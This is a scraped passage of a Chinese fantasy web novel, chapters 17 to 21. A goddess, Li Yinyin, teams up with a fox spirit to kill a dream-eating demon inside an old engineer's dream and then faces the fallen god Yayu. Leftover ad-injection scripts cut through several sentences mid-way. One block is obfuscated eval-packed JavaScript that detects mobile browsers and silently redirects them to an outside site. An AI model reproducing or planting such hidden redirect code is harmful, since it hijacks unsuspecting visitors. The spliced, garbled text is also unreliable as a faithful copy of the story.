黑天鹅伸出翅膀死死抱住李寅寅的右手,白天鹅则抱着她的左手:“真的真的,刚才要不是他,我们已经死掉了。” 黑天鹅应声:“对!” 李寅寅不为所动:“他是想利用你们让我放松警惕。” 白天鹅晃着脖子:“他刚才移动了符咒。” 李寅寅眉毛微挑:“什么符咒?” “那个那个,就是那个。”两鹅齐齐挥翅,指向地上一张不起眼的黄纸,上面用朱砂画着一些乱七八糟的线条。 这是精舍的禁制,李寅寅进来的时候见过,是禁止入内的意思,贴在门上便是禁止进门,贴在地面,就是禁止钻进地下。 “哦……难怪……” 无伤做为一个在地下生活的妖怪,她和大地的关系,就像鱼和水,土壤、石头对她来说不构成任何阻碍。 在战斗中,无伤可以随时潜入地下,再从任意一个地方冒出来偷袭。 刚才她却没有这么做,李寅寅以为她是有什么特别的道理。 原来不是不想,而是不能。 李寅寅挪开脚,男人痛苦地将身体蜷缩成一团,好像连呼吸都十分困难。 李寅寅抬手在他的背上重重一拍。 “哇”一口暗红色的淤血吐在地上,男人这才全身一松,闭上眼睛,张口喘息着。 “谁家好人上来就用媚术啊,你还是小心点吧,以后出去,别给扫黄大队给抓了。” 李寅寅起身要走,却被扯住了裤脚。 “等……等一下……”男人声音微弱,“你现在不能出去,否则……会有麻烦。” 李寅寅停下脚步,似笑非笑看着他:“咱俩不熟吧?你为什么这么关心我?无事献殷勤下一句是什么来着?” “有事有事……”男人努力撑起身子,靠墙坐着。 李寅寅伸手拎起身旁的椅子,在男人正对面坐下:“说说?” “我叫苏灵衣,是……是狐族。” 李寅寅扯扯嘴角:“知道,是藏狐。” 苏灵衣的耳朵发红,他捂着胸口急喘了几下,又继续说:“我是建国前成的精,吸日月精华,没伤过人……” 毫无耐心的李寅寅打断他的话:“不用强调这个,我不是妖管局的,说重点,你为什么在这,想干什么?” “我被骗签了灵契,为他们做事,他们曾许我可以飞升成仙,后来我才知道,原来仙界与人间之间的路早就断了,他们将我扣在这里天天打杂,根本没有时间修炼,我想走,可是他们根本不让……” 苏灵衣又咳了几声,喘息不止。 灵契就是妖、精、鬼、怪签定的卖身契,一经签订,便要终身听甲方使唤,否则会遭天谴。 想要解约,除非甲方主动放人,或是甲方死亡。 李寅寅看着他:“你想解约?” 苏灵衣艰难地点点头。 “你的灵契是跟谁签的?”李寅寅问道。 “窫窳。” “呵,他啊,认识,他肯定也是被骗来的。”李寅寅一笑,“你等着,我这就去叫他放你走。” “等等,你认识的他是什么样的?” 李寅寅眨眨眼睛:“人头蛇身,挺老实一神。” “不是,他变了……”苏灵衣摇头,“身型和性格,都跟你说的完全不一样,他是妖兽。这座精舍,就是他在管,挑动有德之人心中的怨气,也是他的主意。” “这样啊……”李寅寅双手抱在胸前,微眯着眼睛思索片刻,自己基本上不关心天神的事,在漫长的岁月里,她不是在人间打打杀杀,就是在西极星海自娱自乐,漏掉一些八卦也是难免的。 上一次见到窫窳还是几万年前,不知在这段时间里发生了什么,让身为天神的窫窳也变了性子。 苏灵衣继续说:“这里的城隍都被他杀了,夺了仙箓,如果他知道你在这里,一定会对你不利。” 来的时候,李寅寅就感觉到这里没有本地神的气息,还以为是灵气衰微,人类不再拜城隍,所以城隍变成普通人,或是沉睡。 没想到,竟是死了。 城隍虽等级不高,但毕竟是正神,窫窳敢这么干,就是当真与神界翻脸了。 李寅寅心中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 飞快计算着与窫窳对战的胜算…… 以前自己七宿俱全,能打十个窫窳。 然而,俗话说的好:黑化强十倍,洗白弱三分。 如今七宿都不知道在哪儿,再对上黑化的窫窳,要是真动起手来,属实胜负难料。 精舍里并没有窫窳的气息,李寅寅问道:“平时他不在这?” “是,像这样的精舍,全国有四十多个,住在里面的人怨气到达最高的时候,他会亲自出现在这些人的梦境中,给他们更大的力量,让他们在梦境中为所欲为。” 李寅寅感叹:“他想得真周到。” 人在现实里当众激情开喷,多少会顾及一下自己的身份和形象,不会说太违背人性道德的话。 人在现实里真杀了人,恐惧和担忧会让产生的凶煞气减弱几分。 在梦中,道德和法律的约束都不存在了,人类在血腥暴力上的想像力,永远充满创意,连妖兽都自愧不如。 到时候溢出的负面能量是清醒时的数倍。 苏灵衣诚恳地看着她:“餐厅已经被我用禁制暂时封住,他不知道发生了什么。你受伤了,血气会把他引来,我可以帮你治……” 苏灵衣忽然顿住,他已经感觉不到李寅寅身上的血气了。 怎么可能,无伤拼死一搏造成的伤,就这么没了? 李寅寅站起身:“小伤,早好了,你给自己治吧,你说你明明能好好说话的,非要用媚术干什么。” 苏灵衣扶着墙慢慢站起来,他低着头:“我长得不好看,怕你厌恶,不给我说话的机会就把我打死了。我就是想先给你留下一个好印象。” “啊?你哪不好看?”对于能看见生灵本相的李寅寅来说,并不会因为外貌而额外产生好恶之情。 如果按人类的标准,苏灵衣往横店一站,不知道会有多少星探为他打得头破血流。 真不知道他自卑个什么劲。 苏灵衣小声嘀咕:“我又不像赤狐族讨喜。” “藏狐不是挺可爱的嘛,你这狐真奇怪。” 李寅寅没注意到苏灵衣眼中的欢喜,又继续问:“你为什么叫苏灵衣?这个名字听起来像女孩子。” “我听人说,男起名用楚辞,女起名用诗经么,而且要用第一眼看到的句子,我第一眼看到的是’导帝之兮九坑,灵衣兮被被’。我想了一下,苏导帝、苏九坑、苏被被都很奇怪啊,就叫苏灵衣了。” 李寅寅:“……那为什么不叫苏兮?” “因为我有个朋友叫宁镇扬,怕他误会。” 看着他认真的脸,李寅寅笑起来:“有这么细腻的心思,完全不用担心输给赤狐,等你出去以后,肯定会疯魔万千少女,加油!” 睡倒一片的人们开始逐渐苏醒,对于他们来说,刚才只是喝多了睡了一觉而已。 他们揉揉眼睛,互相道别,回到各自的房间。 苏灵衣悄悄指着那位被无伤单聊的老人,压低声音:“窫窳今晚可能要找他。” 18. 第 18 章 不过片刻功夫,一屋子的人走得干干净净。 他们全都处于迷糊状态,完全没有人对倒在地上的桌椅、撞裂的墙、碎掉的碗碟提出一句疑问。 还是得在精舍的其他人发现之前,把餐厅收拾了。 李寅寅环顾四周,决定从扶起面前的桌子开始。 她刚想弯下腰,苏灵衣出声:“我来。” “你会清洁法术?”李寅寅看着满屋狼藉,屋顶上还有无伤喷溅出的血,是个大工程。 “不是什么事都要用法术的,”苏灵衣摘下高高的厨师帽,递给李寅寅,冲着她一笑。 专业,果然专业。 墙壁、地面、桌椅,到最后打包垃圾,一气呵成。 一套操作下来,没有一个动作多余,就算流水线之父泰勒来了,也挑不出一点要改进的地方。 “怎么样?”苏灵衣骄傲地看着李寅寅。 李寅寅指着被单独装在一个垃圾袋里的无伤尸体:“这个怎么处理?” “一会儿拉到HR那边,给她看一眼,做个登记就行了。”苏灵衣完全不担心。 “啊?”李寅寅对精舍的人事制度表示疑惑。 苏灵衣从她手中接过帽子:“这边只讲实力,我就说是我杀了她,哈,我狐假虎威,你不介意吧。我就可以升到她的职级。我打了这么久的杂,想要进步也很合理,不会有人怀疑的。” “可是,你们这的HR,会相信你能打得过她吗?”李寅寅怀疑地看着苏灵衣,这狐的妖力和体力比起无伤都差了十万八千里。 说他打死无伤,就像说一个八岁小儿打死了世界格斗冠军。 就算是妖,也得讲基本逻辑吧。 “我会媚术。”苏灵衣骄傲扬头。 李寅寅:“……也不是很灵。” 苏灵衣笑道:“你不要拿自己的标准要求别人嘛,无伤要是跟你一样厉害,也不会被你打死了。如果她被我的媚术迷住,说出了自己的本相和要害,然后被我杀掉,是不是就很合理了?不信你看……” 仿佛为了证明自己的话,苏灵衣掏出手机,打开阅读器,点开《射雕英雄传》第四回,正是六岁的郭靖一刀扎死陈玄风那段。 李寅寅看着他自信满满的模样,不免有些担心:“小说情节无所谓,十亿读者里有一百万人质疑这个情节,都不会有什么影响。现实不一样,只要有一个怀疑,你就没命了。” 苏灵衣笑嘻嘻:“你在担心我?那如果我没有出来,你原本的计划是什么?” “只要把这里的妖全杀了,不就没人知道是我干的了吗?”李寅寅说得理直气壮。 苏灵衣一愣,半天才憋出来一句:“这主意,听起来也不错……” 他俯身抓起垃圾袋:“不聊了,我先去申请升职,这样今天下午的工资就能按升级以后的发。” 李寅寅犹豫再三,还是叫住了他:“这边有没有一个叫张雄或者叫娄金的……” 她想到也许娄金狗会用假名,又补充道:“或者,有没有一个本相是一只狗的人?” 苏灵衣摇摇头:“没有这两个名字。本相的话……” 他无奈苦笑:“我哪能看出本相,就连无伤,我与她相处好几年了,也是今天被你叫破之后,我才知道。” 法力高强的妖物,可以看见法力比自己低微的妖物本相。 水平相当的都看不出来,更不可能反过来。 “哦……”李寅寅点点头,她看谁都是本相,完全忘记天道还有这个法则。 忽然,她又生出了期待,也许苏灵衣说的“窫窳”也只是一个名叫“窫窳”的怪东西,而不是她认识的那个天神窫窳,是单凭她的个人能力就能轻松弄死的家伙。 “虽然你的法力不行,不过收拾房子真厉害,将来你要是没地方去,就到我家,我家还蛮大的。”李寅寅挥挥手,离开餐厅。 没走多远,李寅寅就看见陈全坐在花园游廊边的长凳上,眉头微皱,黑天鹅在他左边,白天鹅在他右边,一动不动,好像两个护法。 “陈师傅?怎么没回去午休?”李寅寅上前。 陈全忙起身招呼:“哎,你也来啦,刚才我脑子里有点乱,忘记叫你就先走了,对不住,对不住。” “没事,我也在跟别人聊天呢,怎么,看你好像心事重重的样子?” 陈全点点头,左右看了看,压低声音:“你有没有觉得,这里有问题?” 李寅寅十分惊讶,他一介凡人,居然看出这里有问题?! 难道,刚才他没睡死,看到了什么? 李寅寅决定装傻:“我光顾着吃了,没注意,什么问题?” “刚才我听那个女同志对老乔说,他身边的人没有一个好人,都是对他有图谋才会接近他,包括卖掉他成果的上级,自己跑去国外的学生,还有他的家人……” 老乔,就是被无伤挑拨出冲天怨气的老者。 他身上的功德,比陈全还要厚,要是他一念成魔,造成的破坏会更大。 陈全双手抱在胸前,眉头皱得像能夹死蚊子:“虽然我不知道老乔家到底是什么情况,但是,劝人也不是这么劝的啊。” 原来他想的是这个,李寅寅松了一口气。 “虽然现在流行说与其反思自己,不如指责他人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,但是,把身边的人都想成是坏人,自己的爱人、朋友、学生全都图谋不轨,这还让人怎么能好好的继续过下去?我遇到好几个想跳江的人,他们就是对身边的人完全失望了,觉得生活没意思了,才会想一了百了……” 陈全说着,从口袋里掏出一个本子一支笔,在纸上画起了思维导图。 看他的样子,是真的想从无伤刚才说的那番话中,找出积极意义。 李寅寅笑道:“好认真。” 陈全一本正经回答:“我就是来学习的啊。” “啊?”李寅寅想说,你不是挨了骂以后,想来这里找心灵安慰的吗? 陈全解释道:“这几年,我遇到了很多人,有些人,虽然被救下来了,但是我不会说话,他们心里的坎没过。我看到这边广告上写是使用新型心灵抚慰疗愈法,我还以为能学到一些新的东西……啧……” 他又摇了摇头:“但是我怎么都觉得他们的方法有问题呢。是不是我太古板了,无法接受新的思想?” “你没错,刚才我也听了,她说的那些确实太激进。”李寅寅话锋一转:“我还以为你只是进来寻个清静的地方,避开外面那些乱嚼舌根的人。”? 陈全摆摆手:“更难听的话我都听过,要是这都受不了,我早就不管了。” 李寅寅看见陈全身上确实没有一点自身的怨气,在餐厅里的失态,也只是被老乔的影响了。 无伤吸取怨气与自己相斗之后,陈全的精神体反而比刚进来时更加澄澈。 想想也是,如果不是心性如此坚定,哪能在花钱又花时间,还被骂的情况下坚持这么多年。 看来暂时不用替他操心,老乔才是要重点关注的对象。 回到房间,李寅寅张开一个极小的结界,脱下外衣,露出腹部的五个血洞,无伤临死前的全力一击不是那么好相与的。 李寅寅换了身衣服,没有处理伤口。 她的神格里只有杀伐,没有治疗,那是东方青龙的业务范围,现在只能忍着。 以前不是没有受过伤,但这是第一次在七宿离体的情况下受伤,还真有点疼。 最让李寅寅烦恼的是除了受伤之外,还得动脑子。 她透支力量掩饰血气,是防着苏灵衣。 狐族一向诡计多端,苏灵衣见面就用媚术,只是单纯想留个好印象? 还有那句“我狐假虎威,你不介意吧”,是他误打误撞,还是他其实能看见白虎本相? 兵者,诡道也。 掌握天下杀伐兵刃的李寅寅自己就骗过多少人。 苏灵衣刚才说的话,李寅寅一个字都不信。 19. 第 19 章 晚餐时间,李寅寅坐在陈全和老乔身边。 陈全这个实干家,认真分析思考了一下午,晚上就已经投入实践,对老乔进行“话疗”,企图解开老乔的心结。 李寅寅看准机会插话进去,成功加入聊天组。 听说老乔爱打牌,李寅寅就撺掇与老乔住在同一栋的人一起打“掼蛋”。 这种从生意人中流传的扑克玩法,变化多样,除了需要手气,还考验技巧,于是,很快传遍全国。 同屋的人也会玩,正愁没牌搭子,于是一拍即合。 玩到凌晨一点,老乔与室友两人的组队赢得了最后的胜利,老乔满意地扔牌:“不早了,明天再打。” 陈全李寅寅住的那栋房子,离这要走十分钟的路,虽然可以叫晚间值班人员派代步车过来接,那也得等。 看着李寅寅困得睁不开眼睛,仿佛随时就地睡着的模样,老乔便邀请她和陈全在这住下。 陈全还在犹豫,李寅已经马上道谢,并向客房走去,陈全觉得李寅寅是跟自己一起来的,自己有义务跟她一起走,便也留下了。 客房里的各色设施也很齐全,包括助眠用的4D白噪音特效。 李寅寅一进屋,就选了一个舒服的姿势在床上躺下。 五分钟后,她听到了隐约的潺潺水声,是楼上的老乔把白噪音助眠给打开了。 李寅寅摸过遥控器,选择了同样的助眠场景,然后,闭上眼睛。 她感觉到身体浮了起来,进入一片漆黑。 在黑暗的尽头,有一个明亮的圆形,透出金色的光芒。 李寅寅向前走了几十步,豁然开朗。 眼前是一个小花坛,花坛旁有一个布告栏,不远处是几栋红砖小楼,是很标准的单位小院。 李寅寅看见老乔夹着包,匆匆走进其中一栋楼。她紧随其后,一起进门,又转进了一间会议室。 屋里坐满了人,都坐得端端正正,没有人动,也没有说话。 就好像他们都是复制粘贴出来的纸片人。 然而,老乔似乎没有注意到异样,他打开本子拿出笔,端端正正的在本子上写下日期。 很快,三个领导模样的人进门坐下,中间那位说了几句开场白,便直接切入主题:“……由于国际形势的变化,自主研发已经没有必要,无法追上世界先进水平,经过谨慎的考虑,我们做出一个艰难的决定,终止项目,封存所有资料……” 在座其他人面无表情地听着,只有老乔的脸色越来越难看。 最后几句话说完,老乔终于忍不住了:“封存,还是卖了,你们自己心里清楚!” 坐在中间的领导似笑非笑地看着他:“我知道你为了这个项目付出很多心血,不过,这也是没办法的事,国外已经发布了最新研究结果,比我们正在研究的都要先进,何况他们还有没有发布的呢!迟啦……再投入时间和精力进去,不划算。” 他站起身,走到老乔面前,拍了拍他的肩膀,露出包容大度的微笑,好像在哄一个无理取闹的愣头青。 老乔怒而站起:“别以为我不知道!你们几个,把数据卖给了外国人!” “老乔啊,我们明白你的心情,不过,诬陷诽谤是要负法律责任的哦!我们落后国外那么多,人家要我们的数据干什么?” 老乔大声说:“对,我们整体是落后,但是,有几项实验数据,是从还没有列装的新型装备中获取的!你们卖资料,就是当汉奸!” 他本以为自己喊出这句,周围的人一定会帮他说话,至少要求领导给出一个合理的解释。 没有。 一个都没有。 他们只是麻木地看着、听着,然后陆续起身,向门口走去,老乔听见有人说: “真烦人,耽误我们吃饭时间。” “没证据的事有什么好说的。” “就是,今天有红焖大虾,别给抢光了。” “快走快走。” …… 他们都走了,只剩下那三个领导模样的人,他们还是似笑非笑地看着他,好像看大街上的疯子发狂。 “老乔啊,我们能理解你的心情,放心,就算项目终止了,我们还是会照样为你申报劳模的,绝对不会让你吃亏。” “我是为了当劳模吗!”老乔大喊,忽然,一个念头从他的脑中跳出来:等等,这事不是已经发生过了吗?对……这是梦,我在做梦……在梦里干什么都可以!我要砍死这帮王八蛋! 不知什么时候,老乔的手边出现了一把砍刀,又大、又长、闪着寒光。 他想都没想,拎起砍刀,向那三个人冲过去:“去死吧!” 那三张脸上,还挂着令人生厌的笑容,其中一人出声:“你自己有钱不赚,还拦着我们发财,你是不是脑子有病?!” 另一个人阴阳怪气:“又不是没给过你机会,你自己非要装清高,怪谁啊。” 老乔气得眼睛血红,挥着砍刀就要向下劈。 “当啷”一声,砍刀在离男人脑袋还有五厘米的地方停下了。 一个不锈钢饭盒挡在砍刀和脑袋之间,砍刀的刃深深嵌在饭盒盖里,要不是饭盒里装着铅块,男人的脑袋早就开花了。 李寅寅站在老乔身边,柔声劝道: “乔工,消消气,他们出售国家机密的事,上头已经知道了,你现在把他们弄死,反倒是便宜了他们,说不定还会把你当成是他们的同谋,要杀人灭口哦。” 老乔大怒:“我怎么可能跟他们同谋!” “金泉。”从会议室门口传来一个清亮的女声。 老乔猛然抬头望向声音传来的方向,那里站着一个女人向他微笑:“乔金泉同志,你好。” “抗美?!”老乔的眼睛瞬间瞪大,整个人呆立当场。 当年乔金泉接到研发任务后,便一头扎进严密封闭的研究所里,连家人都没告诉,更没来得及对暗恋的女孩说一句话。 等他出来之后,却发现对方早已搬家,也没有留下任何联系方式,从此,他便彻底失去了她的消息。 这么多年来,乔金泉的心里一直都有她,可是心心念念数十年,却从来没有梦见过。 如今骤然相见,乔金泉顿时不知所措,还是李抗美先开口:“我们收 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到消息,有人泄露国家机密,需要请你协助调查。” 心爱的姑娘,期盼的正义,居然同时来到。 果然是做梦,梦里什么都有! 乔金泉连声答应,松开手中砍刀,大步走出门,与李抗美并肩而去。 砍刀在乔金泉离开后,无声无息地消失了,那三个男人还在原地,环顾四周,满脸困惑: “怎么回事?” “我怎么会在这?” “刚才发生什么事了?” 在三个人的眼中,李寅寅是自己身边熟悉,但记不住名字的某个人,她正在对着自己一个人说话,另外两个人只是站在那里,一句话都没有说。 李寅寅微笑看着他们:“你被骗了。” 李寅寅对站在中间的男人说:“卖资料的钱是一百万,李勇就分给你和吴志忠一人一万,他揣揣着九十八万,买了那么十套学区房,二十年房价翻了一百多倍。” 她又看着左边的男人:“你知道那封让你下台的举报信是谁写的吗?是鲁建华。” “你儿子公司的那批货就是他叫人给扣在海关的,你媳妇昨天还送了他媳妇一个爱马仕呢。” “本来高速公路是要从金康区走的,因为他家在太平区,所以他找人改了道,他拿到手一千多万的拆迁费,分给你多少?” …… 如果是在现实,他们根本不会相信这种没头没脑的突然爆料,更不会相信李寅寅这么一个面目模糊,好像认识又好像不认识的人。 但是在梦中,他们毫不怀疑地接受了李寅寅的存在,并快速接受了她传递的信息。 何况所有细节都对上了,李寅寅说的那些事,正是他们心里早已存在的疙瘩。 伴随着李寅寅的讲述,三人看着彼此的眼神充满着浓浓的杀意,恨不能将对方杀之而后快。 他们质问站在自己身旁的人,曾经的盟友却用挑衅的语气大声嘲笑。 屋里次第出现锤子、绳索、匕首、枪,甚至还有蛇、蝎子和一大锅滚油。 李寅寅对他们的想象力感到钦佩。 梦境中的一切都是应人心所想而生,老乔那把朴素的砍刀,就是他的愿望,而这三个人真有创意,居然想出这么多花里胡哨的东西。 气氛烘托得差不多了,李寅寅起身离开,将房间留给他们自由发挥。 一脚踏出门外,原先的小花坛和布告栏都不见了,只有一片上不见天,下不见地的灰色空间。 一个男人站在五米之外,看着李寅寅,他穿着燕尾服,戴着白手套,正是白天站在大门口微笑着为李寅寅拉开车门的彭阳。 李寅寅举手鼓掌:“能将三个活人的生魂勾到乔金泉的梦里,诱他动手触犯天道。普通食梦貘可做不到呢。” 她又叹了一口气:“可惜,开发助眠程序的人偷懒,同位置打开同频道,就能进同一个梦,不然我也进不来。他自己省事,把你给坑了,白白浪费了你一番心血。我要是你,我可忍不了。” 彭阳那双幽绿色的竖瞳死死盯着李寅寅,忽然冷笑一声:“挑拨离间如此熟练,莫非……你是金苹果成了精?” 20. 第 20 章 “你一个东方神兽,对海外的故事了解挺多,难怪精舍经营得这么差,心思都用在看闲书上了吧。” 李寅寅毫不客气地嘲笑他。 彭阳他温柔地看着李寅寅:“不要固步自封嘛,看看外面的故事,也很有意思,我有一座很大的图书馆,里面藏着宇宙万界的故事,你可以慢慢看,一直留在里面,也不会有人赶你走的。” 他眼中的幽绿光芒骤然绽放,笼罩住李寅寅的全身。 这是他吸取无数怨气之后修成的秘法,就算是修出内丹的妖魔,也会被拖进最深层的梦中,而这层梦,会被彭阳吃掉,相当于将大门紧锁钥匙扔掉,被关在梦中的灵魂,将永远也醒不过来。 他从来没有想过李寅寅是正道天师的可能性……哪有正道天师跑人梦里挑拨离间,引生魂互殴的。 生魂在梦里如果受伤严重的话,现实里的身体也会醒不过来,跟死了差不多。 让彭阳没想到的是,李寅寅不仅没有倒地不醒,反而还在继续嘲笑他:“……全国六十四家精舍,这座精舍排名第三十三,但是每天晚上去各大写字楼转一圈,收集到的怨气都足够冲到前十。” 彭阳感觉不妙,他眨了眨眼睛,双眼又恢复成了淡棕色,与普通人无异,又微笑欠身:“不知尊号如何称呼?” “你马上就要死了,不用知道。”李寅寅伸手拢了拢头发,脸上浮出虎纹,眼睛由黑转金,轻扬嘴角,露出两只尖利虎牙,背生双翼,手化利爪,就要向彭阳的天灵盖拍下。 彭阳见她这模样,愣了一秒,忽然俯身跪下,额头触地:“原来是狴犴殿下,小妖有眼不识尊神。” 李寅寅连个顿都没打,脱口而出:“你知道了?果然留你不得。” 彭阳恳求:“听闻殿下在人间行走积累功德,以求能得正果,我愿意将此地所得尽献殿下,助殿下一臂之力。” “这么体贴,是窫窳让你这么做的?” 彭阳生怕自己的功劳被抢去,急忙说:“是我自己的主意,我听说您与您的兄弟们留在人间就是为了修出龙身,归于仙籍,现在通仙之路断开,我们这些小妖无论怎么修行,也永无飞升之日,唯有跟随像您这样有后……有助力的尊神才有希望。” 他眼巴巴地望着李寅寅:“求尊神垂怜,待您归于仙界之日,提携一把,我愿在仙界为您守门牧马。” “你都是从哪儿听来的这些消息?”李寅寅好奇问道。 别说是青龙的儿子,就连青龙自己都回不去,还提携他? 仙界守门牧马确实轻松简单,他也不想想,轻松简单还能长生不老的好事,哪能轮得着外人。 彭阳将自己所知一裹脑的倒出来,他看了一本叫《青龙轶事》的书,里面详细讲述了青龙家庭内部的恩怨情仇,宅斗夺嫡的故事。 最后彭阳再次俯首:“我明白,要从九子之中脱颖而出,实在不易,还请尊神给我一个机会,我将还您一个奇迹。” 李寅寅问道:“窫窳就是天神,你现在已经是他手下,为什么不找他?” “他?自身难保!” 彭阳为表对李寅寅的忠心,把窫窳的糟心事全给抖了出来,窫窳早就不是天神了,几千年前就被自己的手下贰负和危联手杀掉,天帝不忍,让他复活,但失了神格,现在只是一只凶兽而已,还被大羿射成了重伤,现在就靠着收集人间怨气疗伤。 窫窳的终极梦想就是下血池地狱当称霸一方的魔尊,而食梦貘一直生活在山清水秀的地方,跑血池那种又臭又脏的地方,别说还是当手下,就算是让他当魔尊,他也不乐意。 李寅寅问道:“精舍里遍布着窫窳的神识,你就这么说出来,不怕他找你麻烦?” 彭阳露出得意又自豪的笑容:“这座精舍排名三十三,是我想让它排在三十三。要稳定在这个名次,比得到第一,或是倒数第一都要难。只有这样,窫窳才不会来这里,这里的梦境,是完全属于我的领地,就算是窫窳,也无法探知。” “原来是这样……你私吞了这里的怨气,没有上交给他。”李寅寅笑起来,“看来,我也不用对你感到抱歉。” 听她语气不对,彭阳脸色骤变,未等他做出反应,已感到背后一凉,紧接着,他就看见一截剑身从自己的胸口穿了出来,带着缓缓滴落的鲜血。 彭阳艰难地转过头,发现自己身后站着的是苏灵衣,他不敢相信捅了自己一剑的,居然是几小时之前,自己刚刚提拔的人才:“你……你……为什么……” 苏灵衣没有回答,将剑锋拔出,沉默地在彭阳的肩头擦了擦,还剑入鞘。 彭阳的身体缓缓倒下,瞪着一双眼睛,竟是死不瞑目。 · · 下午在收拾餐厅的时候,苏灵衣把彭阳是如何入梦,以及如何利用助眠机的BUG一起入梦的事情都告诉了李寅寅。 也是他告诉李寅寅,其实窫窳已经很久没有来过这座精舍了,因为怨气的数量不多不少,既不值得他亲自来收,也不至于要到清理门户,换一个管理者。 李寅寅便猜到,一定是彭阳动了手脚,想到无伤私用怨气那么没有心理负担,想来是上行下效,大家一起贪污。 干了这么久都没翻车,可见在能够大量吸取怨气的梦境里,一定屏蔽了窫窳的神识窥探。 不然,进账数量和上交数量差距那么大,就算妖怪没有专业审计,也能感觉到不对劲了。 所以,李寅寅与苏灵衣商议,利用系统BUG潜入梦中,把彭阳干掉。 而且,苏灵衣保证,自己可以用式神冒充彭阳,让窫窳暂时不会注意到这里的异动,让李寅寅安全离开。 李寅寅告诉苏灵衣自己的真身是龙子狴犴,也不知道苏灵衣对彭阳说了什么,让他对跟着龙子一起升仙这事产生了莫名的期待。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713578|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>电信诈骗还得诈骗犯努力努力,李寅寅就改了本相的颜色,彭阳居然信得那么认真,满脑子成仙,毫无防备,结果被苏灵衣从背后给捅了。 刚才还一副高冷杀神模样的苏灵衣,现在欢快得像个傻小子,边走边回忆,激动又开心。 “我们刚才合作的真是天衣无缝,我都走到他身后了,他还不知道……” “……《青龙轶事》其实是一本小说,就是给精舍做助眠机的那个人做的,看不出来吧!一个程序员还会写小说!写得可有意思了,你想看吗?我可以借你。” …… 这里依旧是乔金泉的梦境。 此时,乔金泉正在与李抗美在公园散步,诉说离情别绪,畅想未来发展。 李寅寅和苏灵衣在公园边上的夜市,两边摆满了小摊,空气里满是油炸煎烤的香味。 本来是担心彭阳死了,梦境会不会有异变影响乔金泉,现在看来完全是多虑。 李寅寅已经亲眼见证了乔金泉的怨气已经全部被热烈的爱情化解。 确定乔金泉已经不可能再成魔之后,李寅寅只想早日脱离梦境,离开这座精舍。 她既不想与窫窳的正面交锋,也不想让苏灵衣看出她的伤口未愈:“有没有提前脱离梦境的办法?” 苏灵衣摇摇头:“乔金泉才是梦的主人,他不醒,我们都走不了。不过他年纪一大把,老年人觉少,肯定马上就能醒!” 见李寅寅一脸不高兴,他马上陪着笑:“即来之,则安之,刚才我试了,在这里吃东西不用给钱,乔金泉的梦里没有给钱这个设定。” 他得意地拿出一支铁板烤鱿鱼:“我还帮你拿了一个,快尝尝,可香了。” “能不能有点出息。”李寅寅简直无语,一只已经修成人形的狐狸精,居然为能白吃白喝而如此开心。 苏灵衣“嘿嘿”一笑:“以前阿娘也是这么说我……咳咳……这辣椒粉怎么这么辣……” 他狠狠咬了一口自己手里的轰炸大鱿鱼,被呛得咳了几声,连眼圈都红了,他抬手擦掉眼角溢出来的水珠,又大口吃了起来。 “慢点吃,又没人跟你抢。”李寅寅见惯了吃相豪放的糙汉,不以为意。 苏灵衣擦擦嘴,忽然问:“你的本相真是狴犴吗?” 李寅寅不动声色信口胡说:“那当然。” 虽然狴犴长得像虎,但到底不是虎,弱点和要害与李寅寅完全不一样。 人在外面,身份都是自己给的。 苏灵衣笑嘻嘻地将手里的竹签扔到垃圾桶里:“我放心了。” “放心什么?”李寅寅心里猛然生出一股不祥的预感。 前方,已经是夜市小吃街的尽头,马路中间站着一头红色的牛,四蹄像马,生着一张人脸,脸上嵌着的一双眼睛死死盯着李寅寅。 它开口说话了,声音如婴孩一般的尖细:“原来是你!” 21. 第 21 章 外形完全陌生,气息非常熟悉。 确实是李寅寅很熟悉的天神窫窳。 曾经他人首蛇身,老实憨厚,对手下信任有加,做事一板一眼,从不逾矩。 数十万年前,李寅寅代表天界对魔界征伐的时候,臣服于天帝的部族谁不大方送军备,连借条都不用打。 从窫窳那里借点东西,他都要李寅寅写申请、走流程。 兵贵神速,李寅寅哪受得了这个。 后来,窫窳手下一个叫贰负的大臣偷摸告诉李寅寅,他可以帮忙从中协调:流程由他负责加速处理,李寅寅的使者来了,可以找另一个叫危的人,直接把东西拿走。 由于这两个油滑的臣子从中斡旋,李寅寅与窫窳始终没因为规矩与实操方面的冲突翻脸,偶尔几次相见,关系还挺融洽。 窫窳一步步向李寅寅走来,气定神闲,只是它再也不像过去那样,走来时和风阵阵,香气扑鼻。 他的每一步,李寅寅脚下的地面都为之一颤,还没有走近,就能闻见一股腐肉半浸在水中,还被太阳暴晒了五天的恶臭。 这是来自尸山的毒瘴,对先天神体影响不大,对于后天修炼正道的妖物来说,会损伤内丹。 李寅寅下意识转头去看苏灵衣,却发现这小狐崽子不知道什么时候已经蹿得无影无踪了。 “跑得真快。”李寅寅做出客观评价。 窫窳歪过头看着她:“你一定很难过。” “为什么?” “你相信他,与他联手入梦,遇到危险,他却先弃你而去。”窫窳晃了晃脑袋,好像在表达无尽的惋惜。 没等李寅寅开口,窫窳又自顾自地说下去:“这些后世修练的东西,都是这样,没有天然的神格,没有落地即得的权柄,为了上位,不惜一切手段争抢,情、德、法,只要得到的足够多,他们都可以舍弃。” 他望着李寅寅:“仙界已经没有了,妖魔界都意图从人界获得更多的信徒和力量,与其让那些只会残虐杀戮的野兽入侵,不如由你我这样的先天神祇管束,一统两界。” 李寅寅眨眨眼睛:“嗯……我帮你总结一下,你想当天帝,拉我入伙,是这个意思吗?” 窫窳一愣,继而发出婴儿般的笑声:“你真应该去山东,好好学学什么叫高情商的沟通。” 